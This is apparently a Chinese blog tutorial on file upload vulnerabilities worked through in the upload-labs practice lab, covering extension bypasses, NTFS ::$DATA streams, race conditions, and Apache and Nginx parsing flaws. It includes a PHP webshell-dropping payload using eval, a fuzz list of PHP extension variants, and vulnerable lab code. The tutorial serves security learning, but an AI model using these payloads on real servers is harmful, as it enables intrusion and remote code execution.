文章目录
- 原理
- f8x靶场安装
- 文件上传漏洞
- 前端验证
- 概念
- 步骤:
- 上传特殊可解析后缀
- 概念
- 步骤
- ::$DATA绕过
- 概念
- 主要流类型
- 点空格绕过
- 概念
- 代码审计
- **步骤:**
- 文件类型检测
- 概念
- 常见的文件类型
- 过程
- 文件头检测
- 概念
- 过程
- 黑名单绕过
- 概念
- 特殊文件爆破
- 常用的文件名
- 过程
- 双写
- 过程
- %00截断
- 概念
- 条件
- 过程
- 条件竞争
- 概念
- 代码审计
- 复现流程:
- 二次渲染
- 概念
- 步骤
- Apache HTTPD 换行解析漏洞
- 介绍
- 条件
- 复现
- Nginx 文件名逻辑漏洞
- 原理
- 条件
- 复现
- Nginx 解析漏洞
- 概念
- 条件
- 复现
原理
文件上传漏洞的原理在于服务器没有正确验证上传文件的内容或类型,导致攻击者可以上传任意文件,包括恶意脚本(如PHP、ASP等),这些脚本一旦被执行,就可以对服务器进行各种恶意操作。
f8x靶场安装
f8x地址:ffffffff0x/f8x: 红/蓝队环境自动化部署工具 | Red/Blue team environment automation deployment tool (github.com)
upload-lab下载地址:https: //github. com/sqlsec/upload-labs-docker
-
下载两个文件,一个用于安装环境,一个用于当作靶场
-
全部下载到本机,解压,复制到虚拟机
-
cd 进入文件夹
-
使用命令一键安装(需要代理,虚拟机代理教程:在 Kali Linux 虚拟机中实现主机代理共享的详细指南-CSDN博客)
- bash f8x -d
-
安装完,进入upload-labs-docker文件夹
-
一键部署运行
- sudo docker-compose up -d
- sudo docker-compose up -d
文件上传漏洞
-
前端验证
-
概念
- 服务器的验证放在游览器执行,导致攻击者通过修改前端或者是修改数据包进行绕过验证
-
步骤:
- 上传文件,捉包修改文件名称即可
-
上传特殊可解析后缀
-
::$DATA绕过
-
概念
-
Windows本地文件系统中的文件流(File Streams) :在Windows shell命令行中,流的完整名称为"filename:stream name:stream type"。
-
主要流类型
::$ATTRIBUTE_LIST
::$BITMAP
::$DATA
::$EA
::$EA_INFORMATION
::$FILE_NAME
::$INDEX_ALLOCATION
::$INDEX_ROOT
::$LOGGED_UTILITY_STREAM
::$OBJECT_ID
::$REPARSE_POINT
-
步骤:
- 上传一个webshell,并使用Burp拦截功能。
- 在Burp中将文件名称
.php
后面加上::$DATA
,然后forward数据包。 - 文件成功上传到服务器,但名称后缀为
.php::$data
。 - 由于Windows的特性,磁盘会忽略
::$data
,实际创建的文件为.php
。 - 在浏览器中访问文件路径并去掉
::$data
,文件内容被成功执行。
-
-
-
点空格绕过
-
概念
- 主要利用原理是win系统会自动将“1.jpg.”删除‘.‘所以可以绕过
-
代码审计
-
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("。。。"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.');--à删除空字符 $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name;---》解题关键,结构为文件名前缀加后缀,此时文件名为1.jpg.又因为win系统会自动删除‘.‘所以可以绕过 if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
-
-
步骤:
- 上传一个webshell,并使用Burp拦截功能。
- 在文件名称
.php
后面加上. .
(两个点中间有一个空格),然后forward数据包。 - 访问上传的文件路径,文件成功被解析执行。
-
-
文件类型检测
-
文件头检测
-
黑名单绕过
-
-
概念
- 黑名单绕过的方式有很多,例如利用大小写,双写,特殊的名称等等
-
特殊文件爆破
-
常用的文件名
-
phtml php php3 php4 php5 inc pHtml pHp pHp3 pHp4 pHp5 iNc iNc%00 iNc%20%20%20 iNc%20%20%20...%20.%20.. iNc...... inc%00 inc%20%20%20 inc%20%20%20...%20.%20.. inc...... pHp%00 pHp%20%20%20 pHp%20%20%20...%20.%20.. pHp...... pHp3%00 pHp3%20%20%20 pHp3%20%20%20...%20.%20.. pHp3...... pHp4%00 pHp4%20%20%20 pHp4%20%20%20...%20.%20.. pHp4...... pHp5%00 pHp5%20%20%20 pHp5%20%20%20...%20.%20.. pHp5...... pHtml%00 pHtml%20%20%20 pHtml%20%20%20...%20.%20.. pHtml...... php%00 php%20%20%20 php%20%20%20...%20.%20.. php...... php3%00 php3%20%20%20 php3%20%20%20...%20.%20.. php3...... php4%00 php4%20%20%20 php4%20%20%20...%20.%20.. php4...... php5%00 php5%20%20%20 php5%20%20%20...%20.%20.. php5...... phtml%00 phtml%20%20%20 phtml%20%20%20...%20.%20.. phtml......
-
-
过程
-
捉包,放进intruder模块,按图配置,即可
-
-
-
双写
-
-
-
%00截断
-
条件竞争
-
概念
- 这个漏洞主要是利用代码的逻辑漏洞,比如说代码中将文件存入服务器中在检查文件是否违规,违规就删除,但是攻击者通过在服务器检查的间隙中,再次生成木马就可以绕过了
-
代码审计
-
<?php header("Content-type: text/html;charset=utf-8"); error_reporting(0); //设置上传目录 define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH)); if (!file_exists(UPLOAD_PATH)) { mkdir(UPLOAD_PATH, 0755); } $is_upload = false; if (!empty($_POST['submit'])) { $name = basename($_FILES['file']['name']); $ext = pathinfo($name)['extension']; $upload_file = UPLOAD_PATH . '/' . $name; $whitelist = array('jpg','png','gif','jpeg'); //UPLOAD_PATH . $name这个函数不对,这个函数是直接将上传的文件上传到最终路径再进行检查,只需要将其改为$upload_file函数即可,这个函数是将其上传带临时文件目录下,通过才可以到最终目录 if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) { if(in_array($ext,$whitelist)){ $rename_file = rand(10, 99).date("YmdHis").".".$ext; $img_path = UPLOAD_PATH . '/'. $rename_file; rename($upload_file, $img_path); $is_upload = true; }else{ echo "<script>black();</script>"; unlink($upload_file); } } } ?>
-
-
复现流程:
-
上传1.php,捉包,改包
-
插入攻击语句
-
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?> //这个语句就是创建xiao.php,在在其里面写入木马
-
-
放入intruder模块中,配置如图
-
开始attack
-
-
在上传一个访问1.php的包,也就是执行刚才的数据包
-
捉包,放入intruder模块,配置如下,发包
-
attack
-
-
在游览器中一直尝试看能不能连接上新生成的后门,即xiao.php
-
页面发生改变
-
蚁剑连接即可
-
-
-
-
二次渲染
Apache HTTPD 换行解析漏洞
(cve-2017-15715)
-
介绍
- Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,
1.php\x0A
将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
- Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,
-
条件
- apache 2.4.0~2.4.29版本
- 两个功能点:1.有文件上传 2.在同一个页面可以上传后修改名称,原因因该是3.php有双引号锁着,当将20改为0a时,双引号掉到下一行,即使改回去也不行,而内容处符合条件
-
复现
-
上传一个php木马,在更改后的名称加一个空格
-
转到16进制,将对应名称后面的20改为0a
-
连接时记得在后面添加上%0a即可
-
Nginx 文件名逻辑漏洞
(CVE-2013-4547)
-
原理
- 这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
-
条件
- Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
-
复现
-
上传gif数据包,在文件名处加空格与添加执行代码即可
-
访问/uploadfiles/10.gif .php这个路径,将空格处的16进制改为20 00
-
发包,执行成功
-
Nginx 解析漏洞
-
概念
- 由于
nginx.conf
配置将以.php
结尾的文件交给 FastCGI 处理,攻击者可以通过构造类似http://ip/uploadfiles/test.png/.php
的 URL(其中test.png
是包含 PHP 代码的图片文件)来利用此漏洞。FastCGI 在找不到.php
文件时,php.ini
中的cgi.fix_pathinfo=1
配置会将请求路径修复为上层路径,即test.png
。如果php-fpm.conf
中security.limit_extensions
配置为空,FastCGI 将解析.png
文件为 PHP 代码。为防止此类攻击,应限制php-fpm
仅解析.php
扩展名。
- 由于
-
条件
- 该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
- php-fpm.conf配置文件未设置成.php
-
复现
-
上传正常图片,捉包,最后面放入执行代码
-
得到路径ploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png在后面加上/1.php进行访问即可
-